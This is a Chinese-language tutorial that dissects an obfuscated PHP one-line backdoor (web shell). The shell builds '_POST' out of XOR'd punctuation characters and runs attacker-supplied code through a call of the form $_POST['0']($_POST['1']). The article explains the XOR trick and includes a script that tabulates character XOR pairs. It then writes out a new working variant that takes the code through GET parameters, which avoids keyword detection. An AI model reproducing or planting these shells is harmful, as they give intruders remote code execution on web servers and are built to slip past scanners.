一个神秘的一句话后门代码详解

神秘的一句话后门代码内容:


<?php
   @$_++;  $__=("#"^"|");$__.=("."^"~");$__.=("/"^"`");$__.=("|"^"/");$__.=("{"^"/");  ${$__}[!$_](${$__}[$_]);
?>


代码作用:

以上代码即是PHP的一句话后门,当POST数据为0=assert&1=phpinfo();则会执行assert('phpinfo()');

在FireFox下使用HackBar插件模拟发送POST请求的结果如下图所示:


wKioL1XAmYGCkGIIAA_9SAhbIPQ124.jpg

为什么说他神秘呢?因为奇怪的是,代码里面没有一个正常的代码字符,却能接收POST的数据,并执行系统函数。接下来,分析他是如何能够执行的。


格式化代码,并打印结果:

<?php
   @$_++;			//var_dump($_);     1
   $__=("#"^"|");		//var_dump($__);    _
   $__.=("."^"~");		//var_dump($__);    _P
   $__.=("/"^"`");		//var_dump($__);    _PO
   $__.=("|"^"/");		//var_dump($__);    _POS
   $__.=("{"^"/");		//var_dump($__);    _POST
   ${$__}[!$_](${$__}[$_]);	//即$_POST['0']($_POST['1']);
?>


由打印数据我们可以看到,其实,代码本身就是最后执行了$_POST['0']($_POST['1']);而其中的_POST的每个字符都是由两个符号进行异或操作后拼接得到的。


那么问题来了,为什么异或后会得到_POST呢。这里就牵涉到PHP的字符串异或运算。首先解释下,什么叫异或操作。异或操作一般叫做按位异或。意思就是两个二进制数,按位进行运算,同为0或1的结果为0,不相同的结果为1。比如10101100 ^ 11010010 = 01111110。而PHP的字符串异或运算总共有下面5个步骤:

1.将需要进行异或的两个字符串都转行成十进制的asc2码值;
2.将asc2码值转换成二进制数;
3.将转换后的二进制数进行按位异或操作;
4.将异或后得到的二进制数转换成十进制数;
5.根据asc2码表,将十进制数转换成字符串并返回.
至此,PHP的字符串异或操作完毕

于是,可以解释,为什么最终会得到_POST字符串。比如下划线_的获得,就是先将#和|都转行成十进制的asc2码值,35和124(在PHP中可以使用ord函数获取到字符串对应的asc2码值),然后将35和124都转换成二进制数00100011和01111100然后按位异或得到01011111然后转换成十进制是95,然后得到由asc2码表得到95对应的字符串为_(在PHP中可以使用chr函数获取到十进制数对应的asc2码表的字符串


了解到PHP字符串异或运算的原理,那么,其实我可以修改下此后门,改成由GET接收参数。


为了知道哪两个单字符的异或运算可以分别得到G或者E,做如下程序,打印一个列表,得到任意两个单字符进行异或的结果

<?php
header("Content-type:text/html;charset=utf-8");
?>
<table width="50%" border="0" cellpadding="2" cellspacing="0">
<tr>
<td>异或值A</td>
<td>异或值B</td>
<td>异或结果</td>
</tr>
<?php 
for( $i=0; $i<=127; $i++ ){
	$array[] = chr( $i );
} 
?>
<?php for( $i=0; $i<=127; $i++ ){ ?>
	<?php $a = array_shift($array); ?>
	<?php foreach( $array as $v ){ ?>
		<tr>
			<td><?php echo $a; ?></td>
			<td><?php echo $v; ?></td>
			<td><?php echo $a ^ $v; ?></td>
		</tr>
	<?php } ?>
<?php } ?>
</table>


由如上的列表可以查到G可以由 ' ^ ` 得到,E可以由 8 ^ } 得到,于是如下的程序也可以作为一句话后门,并且参数是由GET传递:


<?php
//GET方式 接收参数
@$_++;
$__=("#"^"|");	//	_
$__.=("'"^"`");	//	G
$__.=("8"^"}");	//	E
$__.=("{"^"/");	//	T
${$__}[!$_](${$__}[$_]);
?>


至此,神秘的一句话后门详解完毕。

你可能感兴趣的:(PHP,后门,一句话)